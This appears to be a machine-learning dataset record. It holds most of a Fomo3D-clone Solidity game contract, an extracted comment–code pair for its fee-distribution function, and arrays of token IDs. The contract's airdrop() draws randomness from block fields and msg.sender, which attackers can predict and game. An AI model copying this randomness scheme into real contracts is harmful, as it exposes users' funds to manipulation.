+ rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { // get earnings from all vaults and return unused to gen vault // because we use a custom safemath library. this will throw if player // tried to spend more eth than they have. plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth); // call core core(_rID, _pID, _eth, _affID, _team, _eventData_); // if round is not active and end round needs to be ran } else if (_now > round_[_rID].end && round_[_rID].ended == false) { // end the round (distributes pot) & start new round round_[_rID].ended = true; _eventData_ = endRound(_eventData_); // build event data _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; // fire buy and distribute event emit F3Devents.onReLoadAndDistribute ( msg.sender, plyr_[_pID].name, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } } /** * @dev this is the core logic for any buy/reload that happens while a round * is live. */ function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { // if player is new to round if (plyrRnds_[_pID][_rID].keys == 0) _eventData_ = managePlayer(_pID, _eventData_); // early round eth limiter if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000) { uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth); uint256 _refund = _eth.sub(_availableLimit); plyr_[_pID].gen = plyr_[_pID].gen.add(_refund); _eth = _availableLimit; } // if eth left is greater than min eth allowed (sorry no pocket lint) if (_eth > 1000000000) { // mint the new keys uint256 _keys = (round_[_rID].eth).keysRec(_eth); // if they bought at least 1 whole key if (_keys >= 1000000000000000000) { updateTimer(_keys, _rID); // set new leaders if (round_[_rID].plyr != _pID) round_[_rID].plyr = _pID; if (round_[_rID].team != _team) round_[_rID].team = _team; // set the new leader bool to true _eventData_.compressedData = _eventData_.compressedData + 100; } // manage airdrops if (_eth >= 100000000000000000) { airDropTracker_++; if (airdrop() == true) { // gib muni uint256 _prize; if (_eth >= 10000000000000000000) { // calculate prize and give it to winner _prize = ((airDropPot_).mul(75)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); // adjust airDropPot airDropPot_ = (airDropPot_).sub(_prize); // let event know a tier 3 prize was won _eventData_.compressedData += 300000000000000000000000000000000; } else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) { // calculate prize and give it to winner _prize = ((airDropPot_).mul(50)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); // adjust airDropPot airDropPot_ = (airDropPot_).sub(_prize); // let event know a tier 2 prize was won _eventData_.compressedData += 200000000000000000000000000000000; } else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) { // calculate prize and give it to winner _prize = ((airDropPot_).mul(25)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); // adjust airDropPot airDropPot_ = (airDropPot_).sub(_prize); // let event know a tier 3 prize was won _eventData_.compressedData += 300000000000000000000000000000000; } // set airdrop happened bool to true _eventData_.compressedData += 10000000000000000000000000000000; // let event know how much was won _eventData_.compressedData += _prize * 1000000000000000000000000000000000; // reset air drop tracker airDropTracker_ = 0; } } // store the air drop tracker number (number of buys since last airdrop) _eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000); // update player plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); // update round round_[_rID].keys = _keys.add(round_[_rID].keys); round_[_rID].eth = _eth.add(round_[_rID].eth); rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]); // distribute eth _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_); _eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_); // call end tx function to fire end tx event. endTx(_pID, _team, _eth, _keys, _eventData_); } } //============================================================================== // _ _ | _ | _ _|_ _ _ _ . // (_(_||(_|_||(_| | (_)| _\ . //============================================================================== /** * @dev calculates unmasked earnings (just calculates, does not update mask) * @return earnings in wei format */ function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) private view returns(uint256) { return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); } /** * @dev returns the amount of keys you would get given an amount of eth. * -functionhash- 0xce89c80c * @param _rID round ID you want price for * @param _eth amount of eth sent in * @return keys received */ function calcKeysReceived(uint256 _rID, uint256 _eth) public view returns(uint256) { // grab time uint256 _now = now; // are we in a round? if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].eth).keysRec(_eth) ); else // rounds over. need keys for new round return ( (_eth).keys() ); } /** * @dev returns current eth price for X keys. * -functionhash- 0xcf808000 * @param _keys number of keys desired (in 18 decimal format) * @return amount of eth needed to send */ function iWantXKeys(uint256 _keys) public view returns(uint256) { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // are we in a round? if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) ); else // rounds over. need price for new round return ( (_keys).eth() ); } //============================================================================== // _|_ _ _ | _ . // | (_)(_)|_\ . //============================================================================== /** * @dev receives name/player info from names contract */ function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external { require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm.."); if (pIDxAddr_[_addr] != _pID) pIDxAddr_[_addr] = _pID; if (pIDxName_[_name] != _pID) pIDxName_[_name] = _pID; if (plyr_[_pID].addr != _addr) plyr_[_pID].addr = _addr; if (plyr_[_pID].name != _name) plyr_[_pID].name = _name; if (plyr_[_pID].laff != _laff) plyr_[_pID].laff = _laff; if (plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } /** * @dev receives entire player name list */ function receivePlayerNameList(uint256 _pID, bytes32 _name) external { require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm.."); if(plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } /** * @dev gets existing or registers new pID. use this when a player may be new * @return pID */ function determinePID(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _pID = pIDxAddr_[msg.sender]; // if player is new to this version of fomo3d if (_pID == 0) { // grab their player ID, name and last aff ID, from player names contract _pID = PlayerBook.getPlayerID(msg.sender); bytes32 _name = PlayerBook.getPlayerName(_pID); uint256 _laff = PlayerBook.getPlayerLAff(_pID); // set up player account pIDxAddr_[msg.sender] = _pID; plyr_[_pID].addr = msg.sender; if (_name != "") { pIDxName_[_name] = _pID; plyr_[_pID].name = _name; plyrNames_[_pID][_name] = true; } if (_laff != 0 && _laff != _pID) plyr_[_pID].laff = _laff; // set the new player bool to true _eventData_.compressedData = _eventData_.compressedData + 1; } return (_eventData_); } /** * @dev checks to make sure user picked a valid team. if not sets team * to default (sneks) */ function verifyTeam(uint256 _team) private pure returns (uint256) { if (_team < 0 || _team > 3) return(2); else return(_team); } /** * @dev decides if round end needs to be run & new round started. and if * player unmasked earnings from previously played rounds need to be moved. */ function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { // if player has played a previous round, move their unmasked earnings // from that round to gen vault. if (plyr_[_pID].lrnd != 0) updateGenVault(_pID, plyr_[_pID].lrnd); // update player's last round played plyr_[_pID].lrnd = rID_; // set the joined round bool to true _eventData_.compressedData = _eventData_.compressedData + 10; return(_eventData_); } /** * @dev ends the round. manages paying out winner/splitting up pot */ function endRound(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { // setup local rID uint256 _rID = rID_; // grab our winning player and team id's uint256 _winPID = round_[_rID].plyr; uint256 _winTID = round_[_rID].team; // grab our pot amount uint256 _pot = round_[_rID].pot; // calculate our winner share, community rewards, gen share, // p3d share, and amount reserved for next pot uint256 _win = (_pot.mul(48)) / 100; uint256 _com = (_pot / 50); uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100; uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100; uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d); // calculate ppt for round mask uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000); if (_dust > 0) { _gen = _gen.sub(_dust); _res = _res.add(_dust); } // pay our winner plyr_[_winPID].win = _win.add(plyr_[_winPID].win); // community rewards _com = _com.add(_p3d.sub(_p3d / 2)); admin.transfer(_com); _res = _res.add(_p3d / 2); // distribute gen portion to key holders round_[_rID].mask = _ppt.add(round_[_rID].mask); // prepare event data _eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000); _eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000); _eventData_.winnerAddr = plyr_[_winPID].addr; _eventData_.winnerName = plyr_[_winPID].name; _eventData_.amountWon = _win; _eventData_.genAmount = _gen; _eventData_.P3DAmount = _p3d; _eventData_.newPot = _res; // start next round rID_++; _rID++; round_[_rID].strt = now; round_[_rID].end = now.add(rndInit_).add(rndGap_); round_[_rID].pot = _res; return(_eventData_); } /** * @dev moves any unmasked earnings to gen vault. updates earnings mask */ function updateGenVault(uint256 _pID, uint256 _rIDlast) private { uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); if (_earnings > 0) { // put in gen vault plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); // zero out their earnings by updating mask plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask); } } /** * @dev updates round timer based on number of whole keys bought. */ function updateTimer(uint256 _keys, uint256 _rID) private { // grab time uint256 _now = now; // calculate time based on number of keys bought uint256 _newTime; if (_now > round_[_rID].end && round_[_rID].plyr == 0) _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now); else _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end); // compare to max and set new end time if (_newTime < (rndMax_).add(_now)) round_[_rID].end = _newTime; else round_[_rID].end = rndMax_.add(_now); } /** * @dev generates a random number between 0-99 and checks to see if thats * resulted in an airdrop win * @return do we have a winner? */ function airdrop() private view returns(bool) { uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add (block.number) ))); if((seed - ((seed / 1000) * 1000)) < airDropTracker_) return(true); else return(false); } /** * @dev distributes eth based on fees to com, aff, and p3d */ function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { // pay 3% out to community rewards uint256 _p1 = _eth / 100; uint256 _com = _eth / 50; _com = _com.add(_p1); uint256 _p3d; if (!address(admin).call.value(_com)()) { // This ensures Team Just cannot influence the outcome of FoMo3D with // bank migrations by breaking outgoing transactions. // Something we would never do. But that's not the point. // We spent 2000$ in eth re-deploying just to patch this, we hold the // highest belief that everything we create should be trustless. // Team JUST, The name you shouldn't have to trust. _p3d = _com; _com = 0; } // distribute share to affiliate uint256 _aff = _eth / 10; // decide what to do with affiliate share of fees // affiliate must not be self, and must have a name registered if (_affID != _pID && plyr_[_affID].name != '') { plyr_[_affID].aff = _aff.add(plyr_[_affID].aff); emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now); } else { _p3d = _p3d.add(_aff); } // pay out p3d _p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100)); if (_p3d > 0) { // deposit to divies contract uint256 _potAmount = _p3d / 2; admin.transfer(_p3d.sub(_potAmount)); round_[_rID].pot = round_[_rID].pot.add(_potAmount); // set up event data _eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount); } return(_eventData_); } function potSwap() external payable { // setup local rID uint256 _rID = rID_ + 1; round_[_rID].pot = round_[_rID].pot.add(msg.value); emit F3Devents.onPotSwapDeposit(_rID, msg.value); } /** * @dev distributes eth based on fees to gen and pot */ function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { // calculate gen share uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100; // toss 1% into airdrop pot uint256 _air = (_eth / 100); airDropPot_ = airDropPot_.add(_air); // update eth balance (eth = eth - (com share + pot swap share + aff share + p3d share + airdrop pot share)) _eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100)); // calculate pot uint256 _pot = _eth.sub(_gen); // distribute gen share (thats what updateMasks() does) and adjust // balances for dust. uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); if (_dust > 0) _gen = _gen.sub(_dust); // add eth to pot round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot); // set up event data _eventData_.genAmount = _gen.add(_eventData_.genAmount); _eventData_.potAmount = _pot; return(_eventData_); } /** * @dev updates masks for round and player when keys are bought * @return dust left over */ function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) private returns(uint256) { /* MASKING NOTES earnings masks are a tricky thing for people to wrap their minds around. the basic thing to understand here. is were going to have a global tracker based on profit per share for each round, that increases in relevant proportion to the increase in share supply. the player will have an additional mask that basically says "based on the rounds mask, my shares, and how much i've already withdrawn, how much is still owed to me?" */ // calc profit per key & round mask based on this buy: (dust goes to pot) uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); round_[_rID].mask = _ppt.add(round_[_rID].mask); // calculate player earning from their own buy (only based on the keys // they just bought). & update player earnings mask uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask); // calculate & return dust return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000))); } /** * @dev adds up unmasked earnings, & vault earnings, sets them all to 0 * @return earnings in wei format */ function withdrawEarnings(uint256 _pID) private returns(uint256) { // update gen vault updateGenVault(_pID, plyr_[_pID].lrnd); // from vaults uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); if (_earnings > 0) { plyr_[_pID].win = 0; plyr_[_pID].gen = 0; plyr_[_pID].aff = 0; } return(_earnings); } /** * @dev prepares compression data and fires event for buy or reload tx's */ function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private { _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000); emit F3Devents.onEndTx ( _eventData_.compressedData, _eventData_.compressedIDs, plyr_[_pID].name, msg.sender, _eth, _keys, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount, _eventData_.potAmount, airDropPot_ ); } //============================================================================== // (~ _ _ _._|_ . // _)(/_(_|_|| | | \/ . //====================/========================================================= /** upon contract deploy, it will be deactivated. this is a one time * use function that will activate the contract. we do this so devs * have time to set things up on the web end **/ bool public activated_ = false; function activate() public { // only team just can activate require(msg.sender == admin, "only admin can activate"); // can only be ran once require(activated_ == false, "FOMO Short already activated"); // activate the contract activated_ = true; // lets start first round rID_ = 1; round_[1].strt = now + rndExtra_ - rndGap_; round_[1].end = now + rndInit_ + rndExtra_; } } //============================================================================== // __|_ _ __|_ _ . // _\ | | |_|(_ | _\ . //============================================================================== library F3Ddatasets { //compressedData key // [76-33][32][31][30][29][28-18][17][16-6][5-3][2][1][0] // 0 - new player (bool) // 1 - joined round (bool) // 2 - new leader (bool) // 3-5 - air drop tracker (uint 0-999) // 6-16 - round end time // 17 - winnerTeam // 18 - 28 timestamp // 29 - team // 30 - 0 = reinvest (round), 1 = buy (round), 2 = buy (ico), 3 = reinvest (ico) // 31 - airdrop happened bool // 32 - airdrop tier // 33 - airdrop amount won //compressedIDs key // [77-52][51-26][25-0] // 0-25 - pID // 26-51 - winPID // 52-77 - rID struct EventReturns { uint256 compressedData; uint256 compressedIDs; address winnerAddr; // winner address bytes32 winnerName; // winner name uint256 amountWon; // amount won uint256 newPot; // amount in new pot uint256 P3DAmount; // amount distributed to p3d uint256 genAmount; // amount distributed to gen uint256 potAmount; // amount added to pot } struct Player { address addr; // player address bytes32 name; // player name uint256 win; // winnings vault uint256 gen; // general vault uint256 aff; // affiliate vault uint256 lrnd; // last round played uint256 laff; // last affiliate id used } struct PlayerRounds { uint256 eth; // eth player has added to round (used for eth limiter) uint256 keys; // keys uint256 mask; // player mask uint256 ico; // ICO phase investment } struct Round { uint256 plyr; // pID of player in lead uint256 team; // tID of team in lead uint256 end; // time ends/ended bool ended; // has round end function been ran uint256 strt; // time round started uint256 keys; // keys uint256 eth; // total eth in uint256 pot; // eth to pot (during round) / final amount paid to winner (after round ends) uint256 mask; // global mask uint256 ico; // total eth sent in during ICO phase uint256 icoGen; // total eth for gen during ICO phase uint256 icoAvg; // average key price for ICO phase } struct TeamFee { uint256 gen; // % of buy in thats paid to key holders of current round uint256 p3d; // % of buy in thats paid to p3d holders } struct PotSplit { uint256 gen; // % of pot thats paid to key holders of current round uint256 p3d; // % of pot thats paid to p3d holders } } //============================================================================== // | _ _ _ | _ . // |<(/_\/ (_(_||(_ . //=======/====================================================================== library F3DKeysCalcShort { using SafeMath for *; /** * @dev calculates number of keys received given X eth * @param _curEth current amount of eth in contract * @param _newEth eth being spent * @return amount of ticket purchased */ function keysRec(uint256 _curEth, uint256 _newEth) internal pure returns (uint256) { return(keys((_curEth).add(_newEth)).sub(keys(_curEth))); } /** * @dev calculates amount of eth received if you sold X keys * @param _curKeys current amount of keys that exist * @param _sellKeys amount of keys you wish to sell * @return amount of eth received */ function ethRec(uint256 _curKeys, uint256 _sellKeys) internal pure returns (uint256) { return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys)))); } /** * @dev calculates how many keys would exist with given an amount of eth * @param _eth eth "in contract" * @return number of keys that would exist */ function keys(uint256 _eth) internal pure returns(uint256) { return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000); } /** * @dev calculates how much eth would be in contract given a number of keys * @param _keys number of keys "in contract" * @return eth that would exists */ function eth(uint256 _keys) internal pure returns(uint256) { return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq()); } } //============================================================================== // . _ _|_ _ _ |` _ _ _ _ . // || | | (/_| ~|~(_|(_(/__\ . //============================================================================== interface PlayerBookInterface { function getPlayerID(address _addr) external returns (uint256); function getPlayerName(uint256 _pID) external view returns (bytes32); function getPlayerLAff(uint256 _pID) external view returns (uint256); function getPlayerAddr(uint256 _pID) external view returns (address); function getNameFee() external view returns (uint256); function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256); function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256); function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256); } /** * @title -Name Filter- v0.1.9 * ┌┬┐┌─┐┌─┐┌┬┐ ╦╦ ╦╔═╗╔╦╗ ┌─┐┬─┐┌─┐┌─┐┌─┐┌┐┌┌┬┐┌─┐ * │ ├┤ ├─┤│││ ║║ ║╚═╗ ║ ├─┘├┬┘├┤ └─┐├┤ │││ │ └─┐ * ┴ └─┘┴ ┴┴ ┴ ╚╝╚═╝╚═╝ ╩ ┴ ┴└─└─┘└─┘└─┘┘└┘ ┴ └─┘ * _____ _____ * (, / /) /) /) (, / /) /) * ┌─┐ / _ (/_ // // / _ // _ __ _(/ * ├─┤ ___/___(/_/(__(_/_(/_(/_ ___/__/_)_(/_(_(_/ (_(_(_ * ┴ ┴ / / .-/ _____ (__ / * (__ / (_/ (, / /)™ * / __ __ __ __ _ __ __ _ _/_ _ _(/ * ┌─┐┬─┐┌─┐┌┬┐┬ ┬┌─┐┌┬┐ /__/ (_(__(_)/ (_/_)_(_)/ (_(_(_(__(/_(_(_ * ├─┘├┬┘│ │ │││ ││ │ (__ / .-/ © Jekyll Island Inc. 2018 * ┴ ┴└─└─┘─┴┘└─┘└─┘ ┴ (_/ * _ __ _ ____ ____ _ _ _____ ____ ___ *=============| |\ | / /\ | |\/| | |_ =====| |_ | | | | | | | |_ | |_)==============* *=============|_| \| /_/--\ |_| | |_|__=====|_| |_| |_|__ |_| |_|__ |_| \==============* * * ╔═╗┌─┐┌┐┌┌┬┐┬─┐┌─┐┌─┐┌┬┐ ╔═╗┌─┐┌┬┐┌─┐ ┌──────────┐ * ║ │ ││││ │ ├┬┘├─┤│ │ ║ │ │ ││├┤ │ Inventor │ * ╚═╝└─┘┘└┘ ┴ ┴└─┴ ┴└─┘ ┴ ╚═╝└─┘─┴┘└─┘ └──────────┘ */ library NameFilter { /** * @dev filters name strings * -converts uppercase to lower case. * -makes sure it does not start/end with a space * -makes sure it does not contain multiple spaces in a row * -cannot be only numbers * -cannot start with 0x * -restricts characters to A-Z, a-z, 0-9, and space. * @return reprocessed string in bytes32 format */ function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; //sorry limited to 32 characters require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters"); // make sure it doesnt start with or end with space require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space"); // make sure first two characters are not 0x if (_temp[0] == 0x30) { require(_temp[1] != 0x78, "string cannot start with 0x"); require(_temp[1] != 0x58, "string cannot start with 0X"); } // create a bool to track if we have a non number character bool _hasNonNumber; // convert & check for (uint256 i = 0; i < _length; i++) { // if its uppercase A-Z if (_temp[i] > 0x40 && _temp[i] < 0x5b) { // convert to lower case a-z _temp[i] = byte(uint(_temp[i]) + 32); // we have a non number if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( // require character is a space _temp[i] == 0x20 || // OR lowercase a-z (_temp[i] > 0x60 && _temp[i] < 0x7b) || // or 0-9 (_temp[i] > 0x2f && _temp[i] < 0x3a), "string contains invalid characters" ); // make sure theres not 2x spaces in a row if (_temp[i] == 0x20) require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces"); // see if we have a character other than a number if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, "string cannot be only numbers"); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } /** * @title SafeMath v0.1.9 * @dev Math operations with safety checks that throw on error * change notes: original SafeMath library from OpenZeppelin modified by Inventor * - added sqrt * - added sq * - added pwr * - changed asserts to requires with error log outputs * - removed div, its useless */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, "SafeMath mul failed"); return c; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath sub failed"); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, "SafeMath add failed"); return c; } /** * @dev gives square root of given x. */ function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } /** * @dev gives square. multiplies x by x */ function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } /** * @dev x to the power of y */ function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } }
* @dev distributes eth based on fees to gen and pot/ calculate gen share toss 1% into airdrop pot update eth balance (eth = eth - (com share + pot swap share + aff share + p3d share + airdrop pot share)) calculate pot distribute gen share (thats what updateMasks() does) and adjust balances for dust. add eth to pot set up event data
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100; uint256 _air = (_eth / 100); airDropPot_ = airDropPot_.add(_air); _eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100)); uint256 _pot = _eth.sub(_gen); uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); if (_dust > 0) _gen = _gen.sub(_dust); round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot); _eventData_.genAmount = _gen.add(_eventData_.genAmount); _eventData_.potAmount = _pot; return(_eventData_); }
5,768,586
[ 1, 2251, 1141, 13750, 2511, 603, 1656, 281, 358, 3157, 471, 5974, 19, 4604, 3157, 7433, 358, 1049, 404, 9, 1368, 279, 6909, 1764, 5974, 1089, 13750, 11013, 261, 546, 273, 13750, 300, 261, 832, 7433, 397, 5974, 7720, 7433, 397, 7103, 7433, 397, 293, 23, 72, 7433, 397, 279, 6909, 1764, 5974, 7433, 3719, 4604, 5974, 25722, 3157, 7433, 261, 451, 2323, 4121, 1089, 5796, 87, 1435, 1552, 13, 471, 5765, 324, 26488, 364, 302, 641, 18, 527, 13750, 358, 5974, 444, 731, 871, 501, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 25722, 3061, 12, 11890, 5034, 389, 86, 734, 16, 2254, 5034, 389, 84, 734, 16, 2254, 5034, 389, 546, 16, 2254, 5034, 389, 10035, 16, 2254, 5034, 389, 2452, 16, 478, 23, 40, 21125, 18, 1133, 1356, 3778, 389, 2575, 751, 67, 13, 203, 565, 3238, 203, 565, 1135, 12, 42, 23, 40, 21125, 18, 1133, 1356, 13, 203, 565, 288, 203, 3639, 2254, 5034, 389, 4507, 273, 261, 67, 546, 18, 16411, 12, 3030, 281, 67, 63, 67, 10035, 8009, 4507, 3719, 342, 2130, 31, 203, 203, 3639, 2254, 5034, 389, 1826, 273, 261, 67, 546, 342, 2130, 1769, 203, 3639, 23350, 7544, 18411, 67, 273, 23350, 7544, 18411, 27799, 1289, 24899, 1826, 1769, 203, 203, 3639, 389, 546, 273, 389, 546, 18, 1717, 12443, 24899, 546, 18, 16411, 12, 3461, 3719, 342, 2130, 2934, 1289, 12443, 67, 546, 18, 16411, 12, 3030, 281, 67, 63, 67, 10035, 8009, 84, 23, 72, 3719, 342, 2130, 10019, 203, 203, 3639, 2254, 5034, 389, 13130, 273, 389, 546, 18, 1717, 24899, 4507, 1769, 203, 203, 3639, 2254, 5034, 389, 72, 641, 273, 1089, 5796, 87, 24899, 86, 734, 16, 389, 84, 734, 16, 389, 4507, 16, 389, 2452, 1769, 203, 3639, 309, 261, 67, 72, 641, 405, 374, 13, 203, 5411, 389, 4507, 273, 389, 4507, 18, 1717, 24899, 72, 641, 1769, 203, 203, 3639, 3643, 67, 63, 67, 86, 734, 8009, 13130, 273, 389, 13130, 18, 1289, 24899, 72, 641, 2934, 1289, 12, 2260, 67, 63, 67, 86, 734, 8009, 13130, 1769, 2 ]
./partial_match/42/0x4587D1BCd8eC397A473D4Ae31F5862705bA67f7D/sources/TokenFarm.sol
Stake is added to total in the next round, not the current round */
g._nextStakeSharesTotal += newStakeShares;
3,303,790
